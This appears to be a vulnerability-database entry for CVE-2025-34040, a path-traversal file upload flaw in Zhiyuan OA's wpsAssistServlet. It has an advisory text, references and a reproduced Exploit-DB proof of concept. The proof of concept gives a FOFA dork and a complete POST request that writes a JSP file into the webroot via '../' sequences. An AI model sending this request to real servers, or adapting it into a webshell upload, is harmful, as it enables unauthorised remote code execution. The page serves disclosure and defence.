CVE-2025-34040
Description
An arbitrary file upload vulnerability exists in the Zhiyuan OA platform via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.Β Exploitation evidence was observed by the Shadowserver Foundation on 2025-02-01 UTC.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or β if you've already worked around this in production β publish your fix to the community-verified tier.
β Propose a mitigation on Community β Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Zhiyuan OA - arbitrary file upload leading
# Exploit Title: Zhiyuan OA - arbitrary file upload leading
# Google Dork / FOFA: app="θ΄θΏδΊθ-OA" && title="V8.0SP2"
# Date: 1-11-2025
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://service.seeyon.com/
# Software Link: [vendor download / product page if available]
# Version: 5.0, 5.1β5.6sp1, 6.0β6.1sp2, 7.0β7.1sp1, 8.0β8.0sp2 (per NVD/VulnCheck)
# Tested on: MacOS
# CVE: CVE-2025-34040
Description:
A path-traversal / improper validation in the multipart file upload handling of Zhiyuan OA's `wpsAssistServlet` allows an unauthenticated actor (or actor able to reach upload endpoint) to place crafted files outside the intended directories by controlling `realFileType` and `fileId` parameters. Under affected configurations, an uploaded JSP can be stored in the webroot and executed, yielding remote code execution.
High-level reproduction template (redacted β non-actionable):
POST request to `/seeyon/wpsAssistServlet` with multipart/form-data. The `realFileType` parameter is used to resolve the target path; insufficient validation permits `..` sequences leading to writes under webapp root. The uploaded file contents must be controlled to produce a server-side executable file (e.g., JSP) β DO NOT include such server-side code here.
Impact:
- Remote code execution if the uploaded file is accessible and executable.
- Complete server compromise and pivoting to internal networks.
- Data exfiltration, persistence, and further lateral movement.
References:
- NVD CVE-2025-34040 (NVD entry β awaiting enrichment)
- VulnCheck advisory: https://vulncheck.com/advisories/zhiyuan-oa-system-path-traversal-file-upload
- CNVD entry: https://www.cnvd.org.cn/flaw/show/CNVD-2021-01627
- Vendor patch/notice: https://service.seeyon.com/patchtools/tp.html
POC;
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/Hello.jsp&fileId=2 HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=......
Accept-Encoding: gzip
--......
Content-Disposition: form-data; name="upload"; filename="123.xls"
Content-Type: application/vnd.ms-excel
<% out.println("HelloWorld");%>
--.......--References
- https://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=1
- https://vulncheck.com/advisories/zhiyuan-oa-system-path-traversal-file-upload
- https://www.cnblogs.com/pursue-security/p/17677130.html
- https://www.cnvd.org.cn/flaw/show/CNVD-2021-01627
- https://www.exploit-db.com/exploits/52490
CWEs
CWE-22 CWE-434
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.